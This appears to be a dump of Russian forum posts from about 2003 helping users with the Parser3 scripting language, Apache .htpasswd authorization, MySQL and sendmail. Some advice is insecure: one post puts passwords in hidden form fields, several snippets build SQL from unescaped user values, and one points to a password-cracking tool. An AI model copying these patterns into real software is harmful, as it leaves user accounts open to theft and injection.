"16043","список дериктив видно взяли из доки апача, а что взяли наверно и не поняли?:)\
Require user rbowen sungo\
\
говорите апачу  чтоб он допустил только два пользователя rbowen и sungo\
а у вас в файле только один пользователь username\
так что вот\
\
"
"16044","На самом деле схем авторизации у апача немало, один из них попробовали вы и, видимо, забыли, что под понятием username в доке фигурирует любое имя пользователя. В вашем случае, это -- rbowen и sungo.\
А в доке они просто приводят пример, как _может быть_. Это как при установке в инструкции пишут \"D:\\Path, где D -- имя диска, а Path -- полный путь\"...\
\
"
"16046","http://www.proc.ru/soft/system/"
"16049","Можно только подобрать пароль. http://www.openwall.com/john/ по идее должен DES и MD5 понимать."
"16050","есть $env:REMOTE_USER, этого достаточно.\
\
как можно работать со своими паролями по похожей схеме, и как создавать программно $apr1$xxx$xxx описано тут:\
http://www.parser.ru/docs/search.html?text=htpasswd\
"
"16051","Как это функционирует?\
\
@main[] \
$users[^table::create{name   password \
alice   xxxxxx \
bob   yyyyyy \
}] \
\
$htpasswd[^table::create[nameless]{}] \
^users.menu{ \
    ^htpasswd.append{$users.name:[b]^math:crypt[$users.password;^$apr1^$][/b]} \
} \
\
^htpasswd.save[nameless;.htpasswd-parser-test] "
"16052","[code]\
@main[]\
# создаём именованную таблицу пользователей \
$users[^table::create{name password \
alice xxxxxx \
bob yyyyyy \
}] \
\
# начинаем набивать тестовый файл .htpasswd \
# для этого создаём nameless таблицу $htpasswd\
$htpasswd[^table::create[nameless]{}]\
\
# менюшим исходную таблицу с пользователями\
# с каждой интерацией цикла menu добавляя в таблицу $htpasswd\
# новую строку в формате \"пользователь:криптованый_пароль\" \
^users.menu{ \
^htpasswd.append{$users.name:^math:crypt[$users.password;^$apr1^$]} \
}\
 \
# сохраняем получившееся в файл\
^htpasswd.save[nameless;.htpasswd-parser-test]\
[/code]"
"16054","Всем привет. Поможити просим =)\
\
Итак, есть auto.p:\
---\
@auto[] \
$connect_string[mysql://somelogin:somepass@localhost/somedb]\
\
@get_user_info[]\
^connect[$connect_string]{\
  $res[^table::sql{select id_user, id_team from user where usr_name='$REMOTE_USER'}]\
  $r_user[$REMOTE_USER]\
  $r_user_id[$res.id_user]\
  $r_team_id[$res.id_team]\
  $res[^table::sql{select team_name from team where id_team='$r_team_id'}]\
  $r_user_id[$res.team_name]\
}\
---\
\
и есть в том же каталоге index.html\
\
---\
@main[]\
^get_user_info[]\
<html>\
<head>\
</head>\
<body>\
<pre>\
\
Team: $r_team ($r_team_id)\
User: $r_user ($r_user_id)\
\
</pre>\
</body>\
</html>\
---\
\
Результат работы выглядит так:\
---\
Team: ()\
User: ()\
---\
\
А надо, чтобы переменные подставлялись. Где я сегодня тормоз?"
"16056","Оно самое =)\
Плохо, фиш, перелезать с пхп, да еще настроенного с регистер-глобалз. =)\
\
Спасибо."
"16057","А не подскажете, если я каждый раз в auto.p буду запускать пару приведенных выше селектов (ну, может быть еще пару), не сильно ли этом усложнит жизнь, если будет порядка 1 обращения к этим страницам в 1-2 секунды?"
"16058","Никто не подскажет, есть ли софт, который можно было бы запустить на той же юникс-машине (линукс, бсд), что и веб-сервер от своего пользовательского имени (рута нет,в том числе и чтобы поставить, но собрать могу) и померить максимальную производительность?\
желательно, чтобы при этом можно было задать шаблоны урл-ов и диапазоны значений для подставления в эти шаблоны?\
\
Еще бы было вкусно иметь возможность писать куки и вообще эмулировать всяческую пользовательскую активность скриптом в автоматическом режиме."
"16059","Загвоздка в следующем:\
\
есть макрос HTML в котором описана вся веб-страничка..\
Потом он вызывается и в середину вставляется только текст $body, который передаётся в макрос HTML.!. и тут ошибка. \
В макросе описаны стили между тегами <STYLE></STYLE>.\
Всё работает. Но если не в макросе, а в тексте $body,который вставляется написать в теге допустим <TD style='параметр'>, то при обработке в Парсере выдаётся ошибка!!! ,... \
Проверял,.. удалял с тега этот style='параметр' и всё работает...\
Может что-то поднастроить нада?"
"16061","- во первых можно таки обойтись одним запросом:\
[code]\
@get_user_info[name][user_info]\
^connect[$connect_string]{\
	$user_info[^table::sql{\
		SELECT\
			user.id_user,\
			user.id_team,\
			team.team_name\
		FROM\
			user LEFT JOIN team ON (user.id_team = team.id_team)\
		WHERE\
			usr_name = '$name'\
	}[$.limit(1)]]\
}\
[/code]\
при этом естественно не забыть про индексы на столбце id_team таблицы user (таблицу я так не называл-бы, это зарезервированые имена у oracle и mssql)\
\
-во вторых не стОит таким образом возвращать переменные из метода (как глобальные) - на понятности кода благоприятно это не сказывается. по моему лучше так (добавить в конце метода):\
$result[$user_info]\
\
и использовать соответственно:\
$user_info[^get_user_info[$env:REMOTE_USER]]\
...\
Team: $user_info.team_name ($user_info.id_team)\
User: $env:REMOTE_USER ($user_info.id_user)\
..."
"16062","Чаще всего может быть полезен директорам и т.д.,\
для проектирования и планирования проекта, управления чел-скими ресурсами.\
Немного не то."
"16063","Какой синтаксис использования rusage в Parser2.\
Только не говорите что rusage нет такой команды в Parser2.\
На код \
^rusage[]\
выдает\
[invalid parameters to operator rusage]\
если бы rusage был Parser-у 2му неизвестен, то ошибка была бы \
[invalid operator rusage]\
\
В доке ко второму парсеру про rusage ничего не нашел.\
А в третьем синтаксис совсем другой."
"16065","Не сочтите за рекламу... Делалось исключительно для внутреннего пользования.\
Прежде чем дать ссылку, скажу пару слов:\
Потребовалась штука для того, чтобы перестать забывать куда делись деньги, кому надо позвонить и проч.\
Остановился на онлайн решении, т.к. и дома и на работе выделенка, а носить с собой дискетку с данными не катит.\
Сделал что-то такое, что удовлетворяет меня и примерно половину коллег.\
Для TODO там есть пункт \"Задачи\" к коим можно приделать \"подзадачу\".\
Когда задача выполнена, её можно скрыть с глаз долой. Ну, думаю, что разберетесь, если кому интересно.\
\
Заранее предупреждаю, что внешний вид полностью сперт, прошу не обращать внимания...\
В общем вот:\
www.vniiftri.ru/organizer\
\
Вопросы в почту serj@serj.ru или в Аську 16763861"
"16067","http://www.vniiftri.ru/organizer/organizer.gif\
Вот скриншот органайзера, заполненного делами... Всё на один экран, как всегда не влезло, смотрите в реальности..."
"16068","Допустим у  меня в базе в таблице есть  бесконечное множество полей с разными названиями и я хочу их ооттуда повытаскивать в разном порядке\
Скажите пожалуйста, как мне нужно прописать параметры в методе @base[], чтобы из базы у меня считывались только те поля,которые я указал\
\
т.е. указываю @base[field1,field2]\
тогда  запрос будет\
$table[^table::sql{select field1, field2  from base}]\
\
\
[code]\
@base[]\
^connect[$connect_string]{\
$table[^table::sql{select field1, field2, field3, ...from base}]\
...\
}\
[/code]"
"16069","кстати, если я хочу хранить методы,связанные с работой сбазой данных в отдельном файле, как мне его присоединить\
\
прбовал \
@USE\
/db.p\
не выходит что-то\
\
Извините, что тупой такой"
"16070","Идея такая:\
[code]\
@base[aFields]\
^connect[$connect_string]{\
$table[^table::sql{\
   select ^aFields.foreach[key;value]{$key}[,] \
     from base\
}]\
...\
}\
[/code]\
\
а вызываем так:\
[code]\
  ^base[$.field1[] $.field2[] $.field3[]]\
[/code]\
"
"16072","'USE ' invalid special name. valid names are 'CLASS', 'USE' and 'BASE'  type: parser.compile"
"16074","Ага. точно. Спасибо.\
И за предыдущий вопрос тоже\
всё заработало"
"16076","Такая проблема: есть два фрейма. Нужно, после обработки формы в первом фрейме, обновить содержимое второго фрейма. Я подозреваю, что нужно задать специальный заголовок HTTP-ответа с помощью класса response, но какой именно -- не знаю. Возможно, я ошибаюcь... Подскажите, что делать, pls."
"16080","Добрый день посетители форума, подскажите что за ошибка \
выскакивает при запуске файла на www.oneris.com.ua/_test.html"
"16081","парсер тебе говорит, что вызываемый \"якобы метод\" [code]trim[/code] совсем не метод... посмотри внимательно код - может быть это переменная ($trim)? а если метод (^объект.trim), то проверь, существует ли он (метод) для данного класса (к которому принадлежит объект)"
"16082","посмотрите, как сделано в \
http://www.parser.ru/docs/lang/"
"16083","выдает ошибку:\
mailres.html(24): 'send' '/usr/lib/sendmail' reported problem: UNKNOWN (71) type: email.send\
\
посмотрел что это офигел:\
define EX_OSERR71      /* system error (e.g., can't fork) */\
может знает кто как с этим бороться?\
\
Parser 3.0006 Solaris 2.8\
"
"16085","вот что говорит...\
[Fri Apr 25 10:31:44 2003] [error] RLimitNPROC not supported on this platform\
"
"16086","Беру пример их хелпа, записываю его в index.html каталога gbook:\
[code]\
@USE\
/classes/gbook.p\
\
$gb[^gbook::load[]]\
^gb.show_form[]\
[/code]\
а он мне в ответ:\
[code]\
c:/www/gbook/index.html(4): '$gb[^gbook::load[]]' not found along MAIN:CLASS_PATH  type: parser.runtime\
[/code]\
причем а auto.p каталога /gbook в методе auto на всякий случай прописано\
[code]\
$CLASS_PATH[^table::create{path\
/classes\
/www/classes\
/www\
c:/www\
}]\
[/code]"
"16087","Это нормально, когда просят написать прогу для администрирования сайта, которая открывала doc формат, определяла простейшее форматирование <B>,<I>,<U>,<P> и переводила все ето в html?\
\
Сталкивался кто-нибудь с этим?\
Есть спецификация по этому делу?\
\
Вообче реально такое сделать на языках скриптования или это утопия как я себе представляю?"
"16088","[code]\
@USE\
/classes/gbook.p\
\
@main[]\
$gb[^gbook::load[]]\
^gb.show_form[]\
[/code]"
"16090","Поставил Parser3.cgi (для RedHat) под Debian Linux, Apache/\
Если набрать: www.host.ru/cgi-bin/parser3.cgi - версию выдает\
\
Теперь проблема:\
при обращении к страницам выдает сообщение об ошибке:\
config(1): './auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename './auto.p'  type: parser.runtime\
\
Насколько мог пересказал админу кусок форума по теме.\
Админ просит пошаговую инструкцию:\
\
что конкретно делать\
какие имена, кому, как присваивать.\
\
Спасибо.\
\
\
\
"
"16091","1. настроить в Apache suexec\
2. в вашем <VirtualHost написать\
[code]\
# \"ваш пользователь\"=\
# =пользователь, от имени которого вы по FTP что-то кладёте\
User \"ваш пользователь\"\
Group \"группа вашего пользователя\"\
[/code]"
"16092","Если в скрипте есть возможность работать на бинарном уровне, то вполне реально, например на Perl можно.\
\
http://sources.codenet.ru/index.php?path=formtfil/d-g"
"16093","если ваш сайт расположен на Win32, такая программка пишется за 5 минут на любом языке.\
\
если на unix: я слышал о соответствующих open-source конверторах. не знаю, насколько качественно ими будет обработан русский текст, и насколько они поддерживают новейшие версии форматов.\
\
начните поиски с конверторов, встроенных в поисковые машины: есть в htdig, кажется, ещё в mnogosearch. да и в других тоже можно попробовать.\
\
[b]пожалуйста[/b], расскажите о результатах поиска."
"16094","вот здесь я нашел что-то подобное http://www.wvware.com/\
но плохо зная английский я не могу найти где скачать wvHTML.\
Может кто найдет под win32 мне на локальной машине нужно и главное под linux на хостинге.\
\
Спасибо."
"16095","Попытался использовать ULTRAEDIT. Почему-то при открытии файлов HTML ключевые слова и синтаксис выделяется разными цветами, а при открытии файлов с расширение .p этого не происходит. Что делать? "
"16098","вот что я еще разведал...апач работает от nobody следовательно\
(поправте меня если что) parser тоже от nobody \
интересно а сам sendmail отдастся этому самому nobody а?\
"
"16101","парсер у вас будет работать с правами nobody если только он установлен как модуль, а если как cgi то он работает от вашего пользователя и вашей группы "
"16102","будет от нужного пользователя, если установлен и настроен suexec.\
если не установлен: будет от nobody/nogroup."
"16103","задачи нужно описывать так:\
хочу что было так то, делаю так то, но не получаеться...\
\
зачем вам использоватеь парсер как интерпетатор? какие посещения вы хотите регистрировать,\
 если вы хотите сделать счётчик на подобие спайлога, то просто\
в код страницы вставляте тег:\
<img src=\"/counter.html?url=$request:uri\">\
это просто пример\
\
страница counter.html будет возвращать картинку, вот таким образом и делаються счётчики, если это то могу более подробнее объяснить...\
"
"16104","У меня таже проблема была! \
Вот это не ругается http://www.parser.ru/f/1/download/utils/test.zip"
"16105","что и где надо подправить чтобы sendmail не ругался?"
"16106","каким запросиком в мускле можно искать текст без учёта регистра?\
я пишу \"select id from mytable where body regexp'$mypattern'\"\
и тут учитывается регистр..."
"16108","like я пробовал он не правильно ищит. Поиск по полю типа text в котором русский текст. как делать?"
"16110","SELECT UPPER('абвгд') что возвращает?\
\
нормально-ли работают order by и group by по полям содержащим русские буквы?\
\
предлагаю ознакомиться также с [url=\"/examples/mysql_charsets/\"]этим текстом[/url]\
\
соответственно если все прочитали, поняли, проблема осталась - то расссказывайте как настроен сервер, какая используется строка подключения и т.д."
"16114","Подскажите пожалуйста как обработать результаты выполнения скрипта, находящегося на другом сервере. Например: http://www.имя.ru/request.php?param=result\
"
"16115","Вобщем, суть проблемы - надо добавить в таблицу текст с html-преобразованием, то есть чтобы было без <,> и пр. Никак не получается. Если просто выводить переменную - то без проблем, а в таблицу - никак..."
"16118","[url=\"/docs/lang/fileload.htm\"]^file::load[формат;http://...;опции][/url]\
[url=\"/docs/lang/tableload.htm\"]^table::load[http://...;опции][/url]\
и т.д.\
\
P.S. дока с поиском по ней - рулез"
"16119","При обращение Parser через ODBC к таблицам базы на Access все работает великолепно, но как только начинаю обращаться к запросам Access'а, ловлю Unhandled Exception. Мож, кто знает, есть ли какой-то особый синтаксис, и если есть, то какой?"
"16120","мне нужно вставить текст из базы в массив javascript,\
когда эти символы там оказываются, то получается что не доопределяется строковая константа, ну это понятно, \
а такие преобразования делать не хочется как temp='string11'\
temp+='string12'\
так вот мне нужно просто убрать эти символы\
\
что я делаю:\
 достаю из базы, потом ^untaint[as-is]{}\
потом replace\
таблица замен(грузится из файла) выглядет так:\
'   \\'\
;   \\;\
^#0D^#0A    bla\
\
так вот две верхние замены производятся а нижняя нет...:(((\
\
\
\
\
\
 "
"16121","всего то было надо ^untaint[js]{}\
:)))\
\
Ну что тут можно сказать, только\
I will always love you (Parser)!!! :))))"
"16123","^taint[^#0A]\
про это я нашёл поиском и усё понял, а может и не совсем,\
ведь это понятно что когда мы в коде пишем ^#0A\
но ведь я брал из файла, ведь всё что берём из файла Парсер объявляет грязными...?\
"
"16124","тогда мне не очень понятно, почему не заменялось... "
"16125","...Причем любая картинка любого размера, любого расширения.\
Вот код с помощью которого сохраняю картинку.\
^if(def $form:f){^form:f.save[binary;/test/$form:f.name]}\
<form method=\"post\" enctype=\"multipart/form-data\">\
<input type=\"file\" name=\"f\">\
<input type=\"submit\">\
</form>\
\
Текстовые файлы загружаются нормально."
"16128","хотелось бы конечно что бы Александр Петросян, тоже обратил на это внимание:\
^untaint[js]{} считает концом строки символ ^#0A и если у вас строка содержит ^#0D^#0A, то после стирки вы получите последовательность ^#0D\\n, что воспринимается браузерами как конец строки что также не спасает в ситуации с длинными строками.\
\
Но можно это обойти так:\
[code]\
$repl[^table::create[nameless]{^taint[^#0D] 	^taint[^#20]}]\
$ready_string1[^untaint[js]{^temp_string.replace[$repl]}]\
\
#или так, но более медленно \
$ready_string2[^untaint[js]{^temp_string.match[(^#0D)][g]{}}]\
[/code] \
\
так что может Александр подкорректирует преобразование, правда и не знаешь что правильней класть в базу уже готовые данные или извлекая преобразовать их в конфетку?:)\
Но хотя ведь приходиться работать уже с ранее заполненными базами, так что может пригодиться….  \
"
"16131","самое обидное что если захожу под root -\
и делаю /usr/local/parser/parser3 mailres.html\
то все работает...\
"
"16132","а если делаю su nobody то выпадает такая фигня...\
===========================================================\
[Sat Apr 26 20:44:58 2003] SIGPIPE received. uri=, qs=-\
[Sat Apr 26 20:44:58 2003] : /httpdocs/users/urlady/ladies/mailres.html(1): 'sen\
d' '/usr/lib/sendmail' reported problem: UNKNOWN (71) [email.send]\
/httpdocs/users/urlady/ladies/mailres.html(2): 'send' '/usr/lib/sendmail' report\
ed problem: UNKNOWN (71)  type: email.send\
===========================================================\
кто знает что это : SIGPIPE received. uri=, qs=-\
"
"16133","При попытке редактирования данных таблиц MySQL,\
если в строке присутсвуют символы (нпример \"-\" или \"?\"),\
Вы дает такую ошибку:\
\
You have an error in your SQL syntax near '&, three = 0 \
				\
			' at line 2\
REPLACE INTO f1 SET id = 8, one = 0, two = &, three = 0 \
\
auto.p(86)\
exception.type=sql.execute \
\
А если хоть одна строка содержит буквы выдает такую ошибку.\
\
Unhandled Exception (Debug)\
Unknown column 'er' in 'field list'\
REPLACE INTO f1 SET id = 5, one = 1-er, two = -ertert, three = fghert \
\
auto.p(86)\
exception.type=sql.execute \
\
\
Не уверен точно в чем проблема. Надеюсь на помощь.\
Спасибо"
"16134","вам не кажеться, что запрос должен выглядеть так\
[code]\
REPLACE INTO f1 SET id = 5, one =\"1-er\", two =\"-ertert\", three =\"fghert\" \
[/code]\
???\
"
"16135","Извините за глупый вопрос. Я уже читал на форуме, но что-то не очень въезжаю\
\
Мне надо сделать авторизацию\
\
пользователь -- пароль -- адрес\
mick -- qwerty -- www.ru/admin/?mick\
john -- qazxcv -- www.ru/admin/?john\
admin -- password -- www.ru/admin/\
\
При это все пользователи кроме админа имеют право заходить только в свой url и нижележащие. Т.е. mick в каталог админ зайти не может\
\
При этом ддолжен быть ещё файл www.ru/admin/file.html, доступный всем зарегистрированным пользователям\
\
Что я понял: надо сделать базу с полями пользователь -- пароль -- адрес и при заполнении формы авторизации сравнивать сгенерённый пароль с паролем из базы для данного пользователя\
\
Дальше надо сделать как-то сессию. И вот тут я совсем запутался. Подскажите как её сделать, пожалуйста"
"16136","Я это проверял методом ^image::measure[]\
Пишет что это либо не gif, либо не jpeg... И что не может найти окончания файла."
"16137","Вбазе деалешь поля ip и key при входже пользователя в систему генеришь кей и записываешь ип и полученный ключ в базу. После етого передаешь со всеми ссылками ключ при получении которого подрограмма авторизации ищет его в базе данных пользователей и если нашла то сравнивает с ип пользователя и если все совпадает то принимает пользователя (я тебе ещо нада будет ко всему прочему сматреть урл страници и если у данно пользователя есть права для просмотра данного уреля то он принимаеться) \
\
И ещё подрограмму авторизации лучше делать в ауто.р .... удобнеее патамучто"
"16138","А по русски нельзя?"
"16139","Очень хочется достать ее из интернета, но занимает база 13-20 МБ!!! А есть варианты поменьше? Заранее большое спасибо."
"16142","Неполенюсь напишу :))......делать нечего чета серавно\
\
есть страница www.ru там форма. пишем имя пароль отправляем в www.ru/admin/\
\
Cравниваем имя и пароль и если все верно получаем пользоователя, допустим в переменнуй $user (сравнения делаем в ауто.п)\
\
^switch[$user]{ \
   ^case[mick]{То что должен видеть мик на своей странице} \
   ^case[john]{То что должен видеть john на своей странице} \
   ^case[admin]{То что должен видеть админ на своей странице}          \
   ^case[DEFAULT]{А ты вообще кто такой?} \
} \
\
В твоём случае с ключами можно непариться и просто сделать форму с невидлимыми полями name и password и делаю ссылку на www.ru/admin/file.html\
\
например так \
\
<form action=\"www.ru/admin/file.html\">\
<input type=hidden name=name value=\"name_user\">\
<input type=hidden name=password value=\"password_user\">\
</form>\
\
<a href=\"javascript:document.form[1].submit();\">Тут лежат мега файлы админов</a>\
\
тоесть как видно в данном примере использование www.ru/admin/?mick www.ru/admin/?john нетребуеться.\
"
"16144","За это спасибо.\
Кстати, хотелось бы узнать у других людей - все ли  так осуществляют авторизацию.\
\
Мне на самом дела важен принцип"
"16147","not JPEG file - marker not found"
"16148","а вы пишете, что от root порядок,\
то ищите проблему в sendmail. у него есть свой журнал ошибок, что там?\
\
я не очень понимаю, почему вы наблюдаете SIGPIPE. что это вообще: поищите по форуму."
"16150","тут тонкий момент.\
\
я полагал, что всё сделал для сохранения утверждения «строки имеют переносы в стиле \\n»: заменяю разномастные переносы строк при чтении [b]файлов[/b] и данных из форм на \\n. так умирает множество проблем.\
\
видимо, в вашу базу данные попали минуя parser: выпали из общего стиля.\
\
варианты: \
тупой: добавить в обработку js, чтобы \\r\\n из этого делал.\
[не годится, поскольку возникает проблема с regex '$']\
лучше: убивать разномастные переносы строк при чтении из базы.\
[не очень хорош, поскольку тормозит]\
\
моё мнение:\
ни один вариант не годится, а ваш случай нестандартен. сделайте простые замены и будет ноль проблем.\
\
ваше мнение=?"
"16151","1.\
вы, вероятно, прописали это в .htaccess, который в корне вашего веб-пространства, что неправильно.\
\
2.\
скачайте по FTP записанный файл. скажите\
[code]\
fc/b до.jpg после.jpg\
[/code]\
пришлите десяток строк ответа?"
"16152","в ANSI SQL ограничитель строк: ' (апостроф).\
некоторые базы данных позволяют использовать \" (знак дюйма), однако это не portable=не рекомендуется."
"16153","я подробно высказывал свои соображения по этому поводу.\
очевидно, вы читали [b]плохо[/b].\
\
используйте стандартную авторизацию, её более, чем достаточно для вашей задачи.\
\
ссылки на FAQ по теме уже публиковались: достаточно воспользоваться поиском."
"16154","Народ, расскажите мне(идиоту) как пользоваться parser`ом.\
Пожалуйста, по подробней.....\
"
"16155","пожалуйста, подробнее."
"16156","Ета. Конечно для более серьезных проектов данный тип авторизации неподойдет (потомучто человеку знаещому хтмл нет проблем узнать втой пароль пока ты.....писиишь в туалете например). Правильнее делать авторизацию ip key\
\
Т.е. делаешь в базе данных пользователей ещо два столбца key и ip. После того как пользователь зашел под своим именем и паролем подпрограмма генерит ключ и записывает его в базу данных, такжде запи сывает ип пользователя. \
\
Что происходит дальше. Ты вызываешь все страници (на каторых тебе интересно сохранять авторизацию) с ключом пользователя. т.е. htttp://www.ru/files.html?key=session_key и делаешь подпрограмму типа етого. \
\
^if(def $form:key){\
^connect[$config.mysql_connect]{$rab[^table::sql{SELECT `ip` FROM `user` where `key`='$form:key'}]}\
^if(def $rab && $rab.ip eq $ip){}{$error_enter[Ошибка авторизации. Перезайдите!]}\
^if($error_enter eq \"\"){\
\
Вот он наш пользователь!!!\
\
}{$error_enter}}\
\
Вот так вот выглдет более продвинутая авторизация\
"
"16157","http://www.parser.ru/faq/\
http://www.parser.ru/docs/\
http://www.parser.ru/examples/\
\
Прочитайте это все, потом скажите что у вас не работает!"
"16158","вот так"
"16161","Как задать таблицу со столбцами значений при преобразовании таблицы к хэшу, чтобы потом в методе foreach можно было бы обратиться к конкретному столбцу таким образом: $value.stolbec? И вообще такое возможно?"
"16162","Да я уже подразобрался...\
Если парсер обращается к запросу, который просто делает выборку из таблиц, то все нормально, а если запрос (Акцессовский) делает вычисления, или, не дай бог, делает выборку из другого запроса - все, Unhandled Exception...\
Глюк такой, в общем, то ли Акцесса, то ли парсера..."
"16163","что в тексте-то написано?"
"16164","мммм..  вот обработку исключения я еще не делал -- Access замучал до боли в затылке... Так что текст пока стандартный..."
"16165","пожалуйста, пойдите в cgi-bin/auto.p\
поищите \"@unhandled_exception\",\
и вместо \
   ^unhandled_exception_release \
напишите \
   ^unhandled_exception_debug\
\
после чего перегрузите страницу и copy+paste её сюда?"
"16166","Unhandled Exception (Debug)\
CDBException: Слишком мало параметров. Требуется 5.\
\
select * from asdfg\
\
D:/Inetpub/wwwroot/auto.p(109)\
exception.type=sql.execute \
--------------------------------------------------------------------------------\
sql D:/Inetpub/wwwroot/auto.p(109)\
connect D:/Inetpub/wwwroot/auto.p(109)\
func_ost D:/Inetpub/wwwroot/bebebe.htm(5)\
body_add D:/Inetpub/wwwroot/auto.p(65)\
body D:/Inetpub/wwwroot/auto.p(8)"
"16167","насколько помню, access выдавал подобное сообщение, когда в его запросе присутствовали неправильные имена колонок.\
\
если я правильно вас понял, ваш «asdfg», это, в свою очередь, query. очевидно, эти «неопознанные» колонки в нём. \
1. перепроверьте?\
2. приведите текст этого query?"
"16168","Query такой:\
\
SELECT [Перечень остатка].[Номер строки] AS Строка, [Перечень товаров].[Название товара] AS Название, [Перечень товаров].[Цена I USD]*DLookUp(\"[Kurs]\",\"[USD]\") AS Прайс, [Перечень остатка].[В наличии] AS SRest, [Перечень остатка].[Цена прих]\
FROM [Перечень товаров] INNER JOIN [Перечень остатка] ON [Перечень товаров].[Код товара] = [Перечень остатка].[Код товара];\
\
\
Самое обидное, что внутри Access этот запрос выполняется без вопросов, выводит стройную такую таблицу..."
"16169","он что-то недопонял. как я и подозревал: у вас в запросе 5 полей.\
\
попробуйте поставить драйвер поновее."
"16170","Не пробовал драйвера переустанавливать -- шибко уже запарился, можно и передохнуть...\
Но за советы спасибо огромное, как и за весь парсер в общем!\
Вы делаете трудное, но очень хорошее дело."
"16171","^string:sql здесь записан как ^string::sql\
\
Извините, если не туда сообщаю... "
"16172","авторизацию не методами парсера?\
через htaccess и htpasswd?"
"16173","<Files /pub/home/.../admin/?table=adm>\
AuthType Basic\
AuthName \"Пароль\"\
AuthUserFile /pub/home/.../admin/.htpasswd\
require user admin\
</Files>\
<Files /pub/home/.../admin/?table=usr>\
AuthType Basic\
AuthName \"Пароль\"\
AuthUserFile /pub/home/.../admin/.htpasswd\
require user usr\
</Files>\
\
\
Такой код не даёт защиты. Т.е. usr сможет зайти на /pub/home/.../admin/?table=adm"
"16175","У меня сервак под Linux\
Переписываю парсер, конфигур. файлы и драйвер для MySql - все для Linux\
При попытке обратиться к сайту выдается сообщение\
\
config(1): './auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename './auto.p'  type: parser.runtime\
\
Почему так, что я сделал неправильно?"
"16177","[code]\
^if(def $env:REMOTE_USER){\
    $response:location[$env:REMOTE_USER/index.html]\
}\
[/code]\
\
"
"16178","пытаюсь установить парсер на хостинг c freeBSD.\
Выполнил все инструкции,\
ошибка след. вида\
\
Premature end of script headers: /pub/home/elvis/cgi-bin/parser3.cgi"
"16179","Объясните, пожалуйста, почему мне второй парсер выводит данные из MySQL не перекодируя их из KOI8r в Win-1251? До этого он всегда так делал. Хостер - Zenon"
"16181","набиваете пользователями ваш .htpasswd и делаете авторизацию на директорию admin. \
\
После успешной авторизации в Парсерном скрипте вам будет доступна переменная окружения $env:REMOTE_USER в которой сидит нужный логин, с ней и производите необходимые вам манипуляции. "
"16182","Может подскажете какую идею?\
\
У меня при помощи mod_rewrite все запросы на несуществующие файлы и каталоги перенаправляются на корневой index.html (как когда-то советовал Миша). Ну а там всё собирается из БД.\
Теперь нужна авторизация для некоторых разделов.\
Хотелось бы осуществить стандартную, но возможно ли её прикрутить к несуществующим файлам/каталогам?\
\
Заранее признателен."
"16183","спасибо"
"16184","авторизация стандартная. есть каталог, запароленный\
.htpasswd'ом. Вводим логин и пароль\
Вот такой код  в авто.п\
[code]\
^if(def $env:REMOTE_USER){\
  ^if($env:REMOTE_USER eq \"admin\"){\
  $response:location[/admin/]\
  }\
  ^if($env:REMOTE_USER eq \"user\"){\
  $response:location[/admin/?table=user]\
  }\
}\
[/code]\
Проблема в том, что $env:REMOTE_USER пустой. Т.е. не пустой, но логина в нём не содержится. Авторизация проходится, но пользовательпо по  нужному адресу не отправляется.\
\
В связи с эти возникли два вопроса:\
1) Может я что-то неправильно сделал?\
2) Вообще, с точки зрения htaccess htpasswd различаются ли  адреса вида .../admin/ и .../admin/?table=user"
"16185","...но только на моём домашнем сервере.\
С чем такое может быть связано?\
Я проверял с помощью shtml: <pre><!--#printenv --></pre> -- все нормально показывается, все переменные\
\
а парсер их обнуляет (по крайней мере REMOTE_USER и AUTH_TYPE)"
"16188","Есть ли у кого готовая сборка parser под Linux без Safe mode, так как я в сборке пока не очень :( Парсер без safe mode нужен из-за проблем с хостером. У них apache стартуется от пользователя nobody... "
"16189","Вам нужно сделать parser3.cgi исполнимым. Права 755"
"16190","загляните ещё в suexec.log, если есть такой.\
\
если нету, пожалуйста, ответьте на каждое предложение из FAQ.\
[code]\
предложение\
   ваш ответ\
предложение\
   ваш ответ\
[/code]"
"16191","ключевое слово\
[code]<Location[/code]"
"16194","Делается точно также как и авторизация на <files>\
только используется тег <location>,\
также можно задавать урлы для авторизации как reg exp\
\
Неудобство: location работает только из httpd.conf, что в ряде случаев на хостерах недоступно.\
\
Как возможный выход: \
перенаправление при помощи mod_rewrite /admin/.* не на /index.html,\
а на /admin.html,\
а сам admin.html закрыть ч-з <files> (что можно и ч-з .htaccess)"
"16195","в которой вы выслали ему форму.\
в auto.p по-умолчанию, задаётся $response:charset[windows-1251]\
в такой и пришлёт.\
\
если же форма на другом сайте, и POST'ят на ваш — никак не узнать.\
можно угадывать. как угадывать: отдельная задача, в нашем контексте не интересная."
"16196","то доступа не будет.\
\
поэтому надо закрыть не совсем, а частично.\
\
после rewrite: requre valid-user\
до rewrite: require ОпределённыйПользователь\
\
но так после rewrite всё равно придётся перепроверять.\
поэтому…"
"16197","Вот например ваш Почтовый декодер.\
По какому принципу он функционирует и на чем написан, если не секрет конечно."
"16198","вы придумываете запутанное решение, а чем не угодил простой подход:\
\
require valid-user\
и потом разбираетесь кто пришёл и в какой раздел у него какие права по своим таблицам.\
\
так и авторизация стандартна, и гибкость сохранена.\
проверяете аккуратно: вынесете всё в отдельную [b]одну короткую[/b] функцию."
"16199","неинтересная задача.\
думается, есть возможность обеспечить известность входной кодировки. иначе вы расходуете силы бессмысленно.\
опишите вашу задачу, вместе подумаем, что можно сделать.\
\
буквальный ответ: \
* почтовый Декодер написан на C++ и использует поиск по словарю;\
* в FAR используется таблица частот распределения символов\
[доступна тут C:\\FAR\\Addons\\Tables\\Russian\\Dist.Rus.reg];\
* в MSIE Tools|View|Encoding|Autodetect, судя по всему тоже.\
"
"16200","Мне нужно что-то сравнимое с <Location> только работающее через .htaccess"
"16201","Здесь конечно можно настроить Apache, если он русский, но всёже.\
Пользователь закачивает файл на сервер через метод POST.\
\
Далее процесс пойдет на PHP. Временоо закаченный файл открывается, проверяется какая кодировка у него, вот что главное, а потом естественно перекодируется в нужную для хранения в файле на сервере или базе данных."
"16202","по-моему, тут RA не поможет.\
мне ничто не мешает, сидя на win машине, залить вам файл в koi кодировке.\
\
вариант к рассмотрению:\
попросить пользователя сделать из своего приложения copy+paste в вашу <textarea>, и пользователю проще, и вам: browser сам перекодирует во что вы его попросите (укажите кодировку в странице с формой)."
"16203","если Apache буржуйский, то его можно настроить, что-бы он распозновал кодировку и автоматом перекодировывал?\
\
Да кстати. Вот пример.\
Как Apache определяет кодировку, ведь никакого словоря в нем нет!"
"16204","Соберите сами, это просто и описано в документации.\
